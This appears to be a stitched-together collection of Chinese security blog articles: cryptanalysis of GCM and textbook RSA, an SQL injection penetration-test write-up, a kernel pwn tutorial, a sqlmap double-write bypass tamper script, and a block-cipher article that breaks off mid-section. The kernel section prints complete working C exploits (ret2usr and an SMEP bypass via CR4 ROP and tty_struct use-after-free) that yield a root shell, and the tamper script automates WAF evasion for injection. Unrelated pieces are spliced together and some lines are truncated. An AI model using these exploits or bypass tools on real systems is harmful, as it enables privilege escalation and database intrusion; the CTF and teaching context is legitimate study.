GHASH存在重大缺陷,哈希密钥H的某些取值大大简化了对GCM认证机制的攻击,概括来说,如果H的取值属于某个特定的数学上定义的子群中时,攻击者可以通过仅仅对前一条消息分组进行变换从而猜测出某个消息的身份认证标签T。
GHASH的内部结构我们这里略去,直接到最后一步,此时有
GHASH将消息的长度与Xn异或,将结果乘以H,然后将这个值与AES(K,N||0)异或,从而得到身份认证标签T
这里的漏洞在于,如果H=0,则不论Ci为何值都有Xn=0,与消息无关。这意味着,如果H=0,那么所有的消息都会具有相同的身份认证标签;而如果H=1,那么标签实际上只是密文分组的异或,这样会导致重新排序的密文分组会有相同的身份认证标签。
当然,除了H=0,H=1之外,当H取其他值时也会发生异常情况。例如基于5阶循环群的例子,设H=10d04d25f93556e69f58ce2f8d035a4,这是一个属于长度为5的循环的,H的取值满足H^5=H,那么对任何5的倍数e,都有
H^e=H
那么在前面的Xn的表达式中,交换分组Cn(和H相乘)和分组Cn-4(和H^5相乘)不会改变身份认证标签,这实际上就相当于伪造了。即,攻击者可在不知道密钥的情况下,利用这个属性构造新的消息及其有效认证标签。
更详细的分析可以阅读论文《Cycling Attacks on GCM, GHASH and Other Polynomial MACs and Hashes》
短标签
实际中AES-GCM通常返回128比特的标签,不过它可以生成任意长度的标签,但是长度越小,被伪造的可能性越高。
使用128比特长度时,伪造成功的概率为1/2^128;但是,由于GCM结构内在缺陷,当长度较短时,伪造的概率要大于
1/2^n
比如如果长度为32比特,则成功伪造的概率为1/2^16而不是我们以为的
1/2^32
根据Ferguson的论文指出,对于n比特标签,成功伪造概率为2^m/
2^n
其中2^m是攻击者能够获得的对应标签的最长消息的分组数目。
举个例子,如果使用48比特的标签去处理4GB的消息(2^28个块),
那么能够伪造的概率为2^20,这在密码学中是一个很高的概率了。
更详细的分析可以阅读论文《AuthenticationweaknessesinGCM》
RSA
RSA加密算法是一种非对称加密算法,在公开密钥加密和电子商业中被广泛使用。RSA是由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Adleman)在1977年一起提出的.RSA的工作原理就是创建一个被称为陷门置换的数学对象。陷门置换描述的是符合下述性质的函数:
将数字x变换为同一范围内的数字y,除非知道私钥,否则不能从y计算得到x,这个私钥就称为陷门.
陷门置换
陷门置换是RSA的核心。给定模数n和公开指数e,RSA陷门置换将群Zn中的数x通过y= x^e mod n变换为群Zn中的另一个数y。
在加密时,n和e就是RSA的公钥
为了能够从y计算出x,则需要另一个数d,通过如下计算得到x
d就是陷门,也是RSA私钥的一部分,d也被称为秘密指数
d并不能任意取值,其必须满足
这样才能得到
这里需要注意,我们用的是模φ(n)而不是模n
φ(n)=(p-1)(q-1),这个数对RSA的安全性至关重要,如果攻击者能从模数n中求出φ(n),就等价于破解了RSA。这是因为如果知道φ(n),在计算e模φ(n)的逆,就可以得到d。为此,p和q也应该保密,因为φ(n)可以由其计算得到
整个RSA的安全级别取决于n的大小、p与q的选择、陷门置换的应用;如果n太小,则容易对其分解,从而泄露私钥;如果p与q太小或者太接近,则容易从n中确定出相应取值;陷门置换不应该被直接用于签名或加密
陷门置换的误用
在教科书中的RSA介绍中,通常会看到误用陷门置换的情况,其被直接用于加密或者签名了。即,RSA中的明文只是要加密的消息。这看起来没问题,实际上存在很大的风险。
加密
这种教科书式的RSA加密是确定性的,即对同一明文加密两次,得到的密文是相同的。除此之外,更大的问题是,当给定两个密文y1=x1^e mod n和
y2=x2^e mod n时,攻击者可以通过将其相乘,得到明文x1xx2的密文:
这个结果就是消息x1xx2 mod n对应的密文,这意味着,攻击者可以从两个RSA密文中构造出新的有效密文。这种弱点我们称之为扩展性风险(安全的密码应该确保只有在知道x1,x2时才能得到两者相乘的密文,如果只知道y1,y2是不能够得到的)
为了使RSA不可扩展,提出了OAEP,其中密文由待加密消息和一些padding组成,他们一起组成了RSA-OAEP。
OAEP的示意图如下
图中, n是RSA模数的位数,k0和k1是协议中的固定整数。m是n-k0-k1位长的明文消息,G和H是随机预言,如加密散列函数,⊕是异或运算。
编码过程包括如下步骤:
用 k1 位长的 0 将消息填充至 n - k0 位的长度。
随机生成 k0 位长的串 r
用 G 将k0 位长的 r 扩展至 n - k0 位长。
X = m00...0 ⊕ G(r)
H 将 n - k0 位长的 X 缩短至 k0 位长。
Y = r ⊕ H(X)
输出为 X || Y,在图中 X 为最左边的块,Y 位最右边的块。
随后可以使用 RSA 加密编码的消息
解码过程包括如下步骤:
恢复随机串 r 为 Y⊕H(X)
恢复消息 m00...0 为 X ⊕ G(r)
签名
教科书中的RSA签名同样是简化过的,通过直接计算y = x^d mod n对消息x进行签名。这虽然简单,便于初学者理解,但是其存在签名被伪造的风险。
举个最简单的例子,因为有
0^d mod n=0
1^d mod n=1
(n-1)^d mod n = n-1
那么攻击者一直可以在不知道d的情况下伪造0,1,n-1的签名
更严重的攻击手段我们称之为盲签名攻击,即消息M不会被受害者主动签名,但是攻击者可以让M被受害者签名。攻击流程如下
1.攻击者找到某个值R,R^eM mod n是受害者会签名的一条信息,此时得到的签名记做S=(R^eM)^d mod n,现在的问题就是攻击者怎样能得到M的签名,即M^d
2.推导如下
且
所以有
S=(ReM)^d
RM^d
为了得到M^d,将S除R即可
为了避免这种攻击,提出了RSA概率签名方案PSS,PSS之于RSA签名等同于OAEP之于RSA加密,它能让签名更安全,其流程比较复杂,基本示意图如下
此外还有更简单的签名方案,即FDH,全域哈希。
Bellcore攻击
Bellcore攻击属于错误攻击的一种,其迫使算法的一部分执行不当,产生错误的结果,将其与正确结果相比较,从而获得关于算法内部值的信息。
Bellcore适用于使用中国剩余定理的确定性的RSA签名方案。
由相关基础知识,我们有
其中
假设攻击者在就按xq时产生错误,得到错误值xq’,继续使用xq‘并得到相应的x’。那么攻击者现在就可以计算正确的签名x和错误的签名x‘的差,并由此分解模数n:
由上式,x-x'是p的倍数,即p是x-x'的除数,由于p也是n的除数,所以n和x-x'的最大公约数是p,即
然后就可以计算出q=n/p以及d,从而破解RSA签名
共享模数n
我们直接举个例子。
设攻击者的私钥为(n,d1),受害者的私钥为(n,d2),受害者公钥为(n,e2),此时攻击者知道n,不知道p和q,所以不能从公开指数e2计算秘密指数d2。那么怎么从d中计算出p和q呢?
我们知道d和e满足
虽然我们不知道d或φ(n),但是我们可以计算出kφ(n)=ed-1
根据欧拉定理,对于任何一个与n互素的数a,有a^(φ(n))=1 mod n,所以,对模数n,有下式:
由于kφ(n)是偶数,所以可以写成2^st,所以可以把
写成如下形式
式子中的x可以通过kφ(n)计算得到
x^2-1=(x-1)(x+1),这意味
x^2-1可以被n整除,即x-1或x+1二者必有其一与n有相同的因数,从而可以算出n的因数,从而攻破RSA。
参考
1.https://link.springer.com/content/pdf/10.1007%2F0-387-34805-0_39.pdf
2.《foundations of cryptography》
3.https://link.springer.com/chapter/10.1007/3-540-68697-5_1
4.https://eprint.iacr.org/2006/043.pdf
5.https://link.springer.com/chapter/10.1007/978-3-540-74143-5_2
6.https://www.cs.ucdavis.edu/~rogaway/papers/ae.pdf
7.https://link.springer.com/chapter/10.1007/978-3-642-34047-5_13
8.https://csrc.nist.gov/CSRC/media/Projects/Block-Cipher-Techniques/documents/BCM/Comments/CWC-GCM/Ferguson2.pdf
9.https://competitions.cr.yp.to/caesar.html
10.https://www.sciencedirect.com/science/article/abs/pii/S1574013715300290
一次苦逼的SQL注入
0x01: 偶一打点,看到一个可爱的系统….
1.通过F12 把链接提出来仔细瞅瞅…
2.看见id,果断测注入…
感觉有戏
嗯? 啥数据库连接出错,啥意思??? (其实,这是运维做的混淆..)
3.这是什么操作呢? 怎么会数据库连接出错了???我最开始想的是它网站内部没有配置好,但反过来想,如果没有配置好,哪id=5也应该会出现问题才对,所以勇敢的大胆猜,这可能是是一个简单的waf,然后自定义的一个页面。
如何去验证呢? 先删删字符 看看咋回事
多半是and的出问题
4.并且他是数字型注入
编写tamper 试试把
好像是那个302跳转导致的…… 再手工看看这个xpshell
没有权限
5.手工先摸管理员把
6.如何让sql跑起了
直接在响应包里面让他报错,然后让sqlmap自动识别即可 这个点可以记住
它的密码乱码了,咋办呢?只能
发现管理员员权限是 0
批量看下
发现管理员一个账户
经过测试发现,很多弱口令账户。。。登录一个管理员,点到为止….
发现可以进行改密码,改admin的密码即可。。。点到为止
里面涉及很多敏感信息,故….
(以上漏洞已报给教育src平台,并且已经修复…….)
总结:
1.拿不到管理员应该灵活….不一定admin才是管理员,只要最后能干到管理员就好
2.出现数据库连接错误,并不是连接数据库错误,要懂得学会判断
3.对于已经确定存在sql注入的地方,由于验证码,会发生302跳转。Sqlmap无法直接注入,可以直接让它在报错注入中注入(即在请求包为一个报错注入的包—报错一个版本就行..)
实验推荐
实验:Mssql报错注入 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015090915005900001>>
Kernel pwn 基础教程之 ret2usr 与 bypass_smep
一、前言
在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与ROP。而当我们将视角从用户态放到内核态的时候,便是笔者今天想与大家分享的两个利用手段:ret2usr与bypass_smep。
二、ret2usr利用介绍
ret2usr的资料在网上其实并不算多,究其原因是其利用手法相对简单,其本意是利用了内核空间可以访问用户空间这个特性来定向内核代码或数据流指向用户空间,并以ring0的特权级在用户空间完成提权操作。
三、ret2usr例题讲解
这次以Kernel ROP那一篇中介绍过的例题"2018年强网杯 core"来对ret2usr利用手段进行讲解,具体的题目分析在之前的篇章中已经做过具体分析,这边只是简单概述一下模块内容。
在core_ioctl函数中定义的三种功能
0x6677889B:执行core_read函数,存在内存信息泄露,可用来leak canary
0x6677889C:对全局变量off赋值,可用来控制core_read函数中的内存偏移,从而造成泄露问题
0x6677889A:执行core_copy_func函数,配合core_write函数以及对复制的内容长度不严谨从而造成栈溢出隐患
在前一篇Kernel ROP中我们的利用思路具体如下所示。
1、保存返回用户态所需的寄存器信息
2、利用core_read leak canary
3、通过/tmp/kallsyms中的信息获取函数地址与计算ropgadget的偏移
4、利用core_copy_func函数存在的栈溢出控制内核程序流完成提权并返回用户态执行shell
而本篇的ret2usr中我们的利用思路则发生了些许的改变,原先第四步中我们通过劫持内核程序流并构造ropchain来完成的提权步骤,现在我们修改提权方式,控制内核程序流访问user space中的函数指针来完成提权操作,在我们的exp中构建如下的函数。
void beroot() {
char* (*func1) (int) = prepare_kernel_cred;
void (*func2) (char*) = commit_creds;
(*func2)((*func1)(0));
}
可以看到我们通过函数指针的方式在用户空间执行了commit_creds(prepare_kernel_cred(0)),能过做到这样的本质原因是因为我们在劫持程序流程的时候处在ring0权限,并且因为SMEP保护未开启的原因我们可以从内核空间访问用户空间的代码,所以才能完成提权的操作。 当我们控制内核程序流在用户空间完成提权工作以后,就可以返回用户态并获取rootShell了,完整EXP如下所示。
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define CORE_READ 0x6677889B
#define SET_OFFSET 0x6677889C
#define CORE_COPY_FUNC 0x6677889A
unsigned long long int canary[64] = {0};
unsigned long long int raw_vmlinux_base = 0xffffffff81000000;
unsigned long long int commit_creds, prepare_kernel_cred, vmlinux_base;
unsigned long long int user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void beroot() {
char* (*func1) (int) = prepare_kernel_cred;
void (*func2) (char*) = commit_creds;
(*func2)((*func1)(0));
}
//ffffffffb8c9c8e0 T commit_creds
int leak_addr() {
int idx;
char buf[1024];
int fd = open("/tmp/kallsyms", 0);
if (fd < 0) {
puts("[-] ERROR.");
exit(0);
}
puts("[+] Leak Address...");
while (1) {
int i;
for (i = 0; i < sizeof(buf); i++) {
read(fd, buf + i, 1);
if(buf[i] == '\n') {
if (strstr(buf, "commit_creds")) {
sscanf(buf, "%llx", &commit_creds);
printf("[+] Find commit_creds_address: 0x%llx\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
prepare_kernel_cred = vmlinux_base + 0x9cce0;
return 1;
}
else {
i = 0;
}
}
}
}
return 0;
}
void leak_canary(int fd) {
puts("[+] Leak Canary...");
ioctl(fd, SET_OFFSET, 0x40);
ioctl(fd, CORE_READ, canary); //core_read+105
printf("[+] Canary: 0x%llx \n", canary[0]);
}
void get_shell() {
if (getuid() == 0) {
puts("[+] root shell.");
system("/bin/sh");
}
}
void main() {
unsigned long long int pop_rdi, pop_rsi, pop_rdx, pop_rcx, mov_rdi_rax, swapgs, iretq, xchg_rax_rdx, offset;
unsigned long long int rop[0x60];
int i = 8;
int fd = open("/proc/core", 'r');
if (fd <= 0) {
puts("[-] open filename 'core' ERROR.");
exit(0);
}
save_status();
leak_addr();
leak_canary(fd);
offset = vmlinux_base - raw_vmlinux_base;
pop_rdi = offset + 0xffffffff81000b2f;
pop_rsi = offset + 0xffffffff810011d6;
pop_rdx = offset + 0xffffffff810a0f49;
pop_rcx = offset + 0xffffffff81021e53;
swapgs = offset + 0xffffffff81a012da;
iretq = offset + 0xffffffff81050ac2;
xchg_rax_rdx = offset + 0xffffffff826684f0; // xchg rax, rdx; ret;
mov_rdi_rax = offset + 0xffffffff8106a6d2;
printf("0x%llx\n", offset);
rop[i++] = canary[0];
rop[i++] = 0;
rop[i++] = (unsigned long long int)beroot;
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (unsigned long long int)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, sizeof(rop));
ioctl(fd, CORE_COPY_FUNC, 0xffffffffffff0000|0x100);
}
四、bypass_smep原理介绍
ret2usr利用最根本的原因是因为内核态可以任意访问用户态的数据,从而造成了被利用的风险。而SMEP对于ret2usr正如NX与Shellcode一样有效的降低了被利用的风险。 SMEP(Supervisormode execution protection,SMEP)机制的作用是,当进程在内核模式下运行时,该防御机制会将页表中的所有用户空间的内存页标记为不可执行的。在内核中,这个功能可以通过设置控制寄存器CR4的第20位来启用。在启动时,可以通过在-cpu选项下加入+smep来启用该防御机制,通过在-append选项下加入nosmep来禁用该机制。 由于SMEP保护使得内核空间无法访问用
而CR4寄存器我们是可以通过gadget来对里面的值进行修改的,为了关闭SMEP常用的固定值0x6f0,即mov CR4, 0x6f0。
五、bypass_smep例题讲解
同样是前面文章所提到过的2017-CISCN-babydriver,在前面的学习中我们利用Kernel UAF的方式完成了提权操作,而本次我们所要学习的就是劫持程序流关闭SMEP保护以后,利用前面所学习的ret2usr完成提权操作并获取rootshell。
在分析利用思路之前,我们需要引入一个新的结构体tty_struct。这是一个在打开/dev/ptmx设备时会分配的结构体,源码如下所示。
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
而其中有一个非常有用的结构体tty_operations,其源码如下所示,不难看出其中含有大量的函数指针供我们使用。所以我们可以使用一种类似于FSOP中伪造vtable表的方式来伪造这个结构体使其可以控制内核程序流。
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
那么具体应该怎么利用呢?首先我们需要注意到的就是在本题环境中tty_struct结构体占0x260字节大小,所以我们可以利用题目中存在的UAF漏洞泄露出结构体的部分内容并修改其中的tty_operations指向我们伪造的结构体fake_tty_ops并在其中布置好相应的ropchain即可完成最终的利用。 但是这样的话又会产生一个问题,我们伪造的tty_operations结构体中应该怎么布局才可以呢?我们不妨写一个简单的测试代码通过动调的方式来理解,具体的代码如下所示。
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void main() {
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
// UAF
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
// fake struct
size_t fake_tty_struct[32];
size_t fake_tty_ops[32];
fake_tty_ops[0] = 0xffffffffc0000130;
fake_tty_ops[1] = 0xffffffffc0000130;
fake_tty_ops[2] = 0xffffffffc0000130;
// fake_tty_ops[7] = mov_rsp_rax;
fake_tty_ops[7] = 0xffffffffc0000130;
// close smep --> ret2usr --> get root's shell
int fd_tty = open("/dev/ptmx", O_RDWR);
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_ops;
write(fd2, fake_tty_struct, 32);
write(fd_tty, "AMALLL", 6);
}
然后我们将写好的demo静态编译完成后,使用gdb脚本调试,创建gdbint文件并写入如下内容,最后在qemu启动脚本中添加-s选项并另开shell窗口执行gdb -x gdbinit即可动调。
file vmlinux
add-symbol-file babydriver.ko 0xffffffffc0000000
b babyread
target remote :1234
continue
上面的demo中我们伪造了tty_operations结构体中write函数指针为babyread函数地址,并且通过动调我们可以发现rax寄存器正是我们所伪造的fake_tty_operations结构体的地址,那么如果我们将tty_operations结构体中write函数指针位置放置诸如 mov rsp ,rax; 一类的gadget,则可以劫持栈指针到我们的fake_tty_operations地址处,我们再在伪造的结构体开头布置上二次栈迁移的gadget控制rsp指向我们布置的ropchain上,那么就可以执行关闭SMEP的rop,然后我们就可以利用前面介绍的ret2usr rop进
EXP.C
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0xffffffff810a1420;
size_t prepare_kernel_cred = 0xffffffff810a1810;
size_t pop_rdi = 0xffffffff810d238d;
size_t mov_cr4 = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
size_t swapgs = 0xffffffff81063694; // swapgs; pop rbp; ret;
size_t iretq = 0xffffffff814e35ef;
size_t pop_rax = 0xffffffff8100ce6e;
size_t mov_rsp_rax = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void beroot() {
char* (*func1)(int) = (char* (*)(int))prepare_kernel_cred;
void (*func2)(char*) = (void (*)(char *))commit_creds;
(*func2)((*func1)(0));
}
void getshell() {
if (getuid() == 0) {
puts("[+] root now.");
system("/bin/sh");
}else {
puts("[-] Get shell error.");
exit(0);
}
}
void main() {
save_status();
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
// UAF
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
// set ropchain
size_t rop[0x30] = {0};
int i = 0;
rop[i++] = pop_rdi;
rop[i++] = 0x6f0;
rop[i++] = mov_cr4;
rop[i++] = 0;
rop[i++] = (size_t)beroot;
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (size_t)getshell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
// fake struct
size_t fake_tty_struct[32];
size_t fake_tty_ops[32];
fake_tty_ops[0] = pop_rax;
fake_tty_ops[1] = (size_t)rop;
fake_tty_ops[2] = mov_rsp_rax;
fake_tty_ops[7] = mov_rsp_rax;
// close smep --> ret2usr --> get root's shell
int fd_tty = open("/dev/ptmx", O_RDWR);
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_ops;
write(fd2, fake_tty_struct, 32);
write(fd_tty, "AMALLL", 6);
}
六、总结
笔者分享的两种利用方式都不算困难,但是需要注意的是在编译exploit时请使用Ubuntu 16.04的环境,笔者尝试使用Ubuntu 20 与 18的环境编译exploit最终执行阶段都无法完成提权操作。同时在做Kernel题目的时候会明显的感觉自己的知识树储备不够,这里笔者推荐《操作系统真象还原》这本书,里面不管是案例还是讲解都非常有趣,相信你一定能从这本书中有所收获。
SQLMAP-Tamper之较为通用的双写绕过
前言
21年省决赛的SQLITE注入就是用的双写绕过,当时是手搓代码打的,这几天想起来了,寻思着写个tamper试试。
一开始以为很简单,后来才发现有很多要注意的点,折磨了挺久。
等弄完才明白为什么sqlmap没有自带双写的tamper,涉及的情况太多,需要根据具体过滤逻辑来写代码,没法做到统一。
思路
过滤代码很简单:
blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_
for n in blacklist:
regex = re.compile(n, re.IGNORECASE)
username = regex.sub("", username)
先拿个网上的代码举例,
核心代码为
for keyword in keywords:
_ = random.randint(1, len(keyword) - 1)
retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)
其逻辑为:用正则进行搜索单词,类似:
当检测到payload中存在关键字,就将该关键字插入到原本关键字字符串的随机位置。
很常规的逻辑,但在这里有一些问题:
1.类似SELECT->SELSELECTECT,如果添加的位置不对,就可能新生成一个存在于黑名单的字样导致sqlmap误判。
2.混淆得不够彻底。代码中是以单词为单位,但过滤时会扩大面积。精简一下:
keywords = ['OR','ORDER']
payload = 'ORDER'
混淆时:ORDER->OORRDER
过滤时:OORRDER->ORDER-> ''(为空)
那么,手动选某个关键字列表中比较特别的字样去统一混淆如何?
结论是可,但是费劲。首先需要先写个小脚本将关键字列表里的不纯粹的元素剔除。比如ORDER里含有OR,那么就需要将ORDER剔除。其次还得保证sqlmap的测试语句里不使用该字样,否则将导致误判。
整理一下上述思路,可以开始着手编写tamper了。
代码
写脚本之前先介绍下tamper模板
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
return payload
__priority__定义脚本优先级:LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST
dependencies()则声明该函数的适用/不适用范围,可为空
tamper()则是主要函数,处理传入的payload并返回。
好,然后就是脚本的完整代码
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
"""
优化的双写绕过,顺序插入并判断是否新组成过滤单词
比如SELECT,当插入位置为3时为SELSELECTECT,则会生成黑名单列表中另一个单词ELSE造成误判
在此进行相关判断以保证生成的字符不存在另一个敏感词。
主要应对:
blacklist = [...]
for n in blacklist:
regex = re.compile(n, re.IGNORECASE)
username = regex.sub("", username)
>>> tamper('select 1 or 2 ORDER')
'selorect 1 oorr 2 OorRDER'
"""
keywords = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRE
retVal = payload
warnMsg = "当前关键字列表如下,请注意修改:\n"
warnMsg += "%s" % keywords
singleTimeWarnMessage(warnMsg)
if payload:
for key in reversed(keywords):
index = keywords.index(key)
num = 1
check = True
while check:
if num >= len(key):
singleTimeWarnMessage('无法绕过双写关键字列表')
exit()
check = False
repStr = "%s%s%s" % (key[:num], key, key[num:])
for t in keywords[:index]:
if re.search(t, repStr) and not re.search(t, key):
check = True
break
num += 1
retVal = re.sub(key, repStr, retVal, flags=re.I)
return retVal
for key in reversed(keywords):首先进入最外层的关键字循环,在这里使用逆序,混淆的时候先2后1,过滤的时候先1后2,就能很好的还原代码。
while num < len(key) and check:然后进入第二层循环。num为插入位置,比如ASC,能插入的地方有AS中间和SC中间,如果都插入了一遍还是检测到敏感词,说明再怎么双写都会被检测出来。
for t in keywords[:index]:第三层循环就是二次校验了,比如['A','ELSE','B','SELECT','C'],混淆的时候从后往前,如果插入的位置不好,SELECT->SELSELECTECT。这样从前面循环检测,检测到ELSE,则该位置不合法,重新插入。个人感觉从中间插入组成新敏感词的几率比较小,但仔细琢磨一下也没必要多加几行代码,于是就干脆用顺序了。
至于not re.search(t, key)是为了避免ORDER中存在OR而被误判位置不合法的情况。
使用的时候把keywords列表一替换,拿到sqlmap一打,结束!
有个比较无语的点是re.sub()函数的第四个参数才是flags。
写代码的时候习惯性的在第三个参数位置打上re.I,然后又因为int(re.I)为2,程序正常运行不报错,最大替换次数为2次。折磨了好长时间。
实验推荐
实验:SQL注入之绕过is_numeric过滤(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016072212515000001>>
密码学的安全性浅析2
分组密码
分组密码是一种对称密钥算法。它将明文分成多个等长的模块,使用确定的算法和对称密钥对每组分别加密解密。分组加密是极其重要的加密协议组成,其中典型的如AES和3DES作为美国政府核定的标准加密算法,应用领域从电子邮件加密到银行交易转帐,非常广泛。基本流程细节这里不展开,可以参考密码学相关教材,本文专注于分析其中与安全性有关的部分。
分组大小
分组密码有两个重要的特征:分组大小和密钥大小,其安全性也取决于这两个值,大多数分组密码的分组大小为64比特或128比特,比如DES的分组为64比特,AES的分组为128比特,这些都是2的n次幂,因为这可以让数据的存储、寻址、处理等操作更加方便。
但是各位有没有想过为什么是64、128,而不是256或者更小的32呢?
首先分组不能太大,我们应该让密文的长度和内存占用尽可能小。比如我们使用AES加密16比特信息时,需要将信息转换为128比特,然后对其处理得到128比特密文,很明显,分组越大,开销也越大。64比特、128比特对于大多数CPU的寄存器都可以方便操作。
同时分组不能太小,分组太小的话容易受到代码本攻击Codebook attack。代码本攻击是用16比特分组进行的:
1.首先得到对应于每个16比特明文分组的2^16个密文
2.然后建立代码本,即查找表,将每个密文分组映射到相应的明文分组
3.对未知的密文分组进行解密,查找表中对应的明文分组
如果使用的是16比特分组长度的密码,则攻击者建立的查找表只需要16x2^16=
2^20比特内存,即128kb;而如果使用的是分组长度为32比特,则内存需要16gb,这对于攻击者而言都是可行的;而如果要攻击64比特分组的密码,攻击者必须要有1ZB的内存,这是不可行的。
分组构造
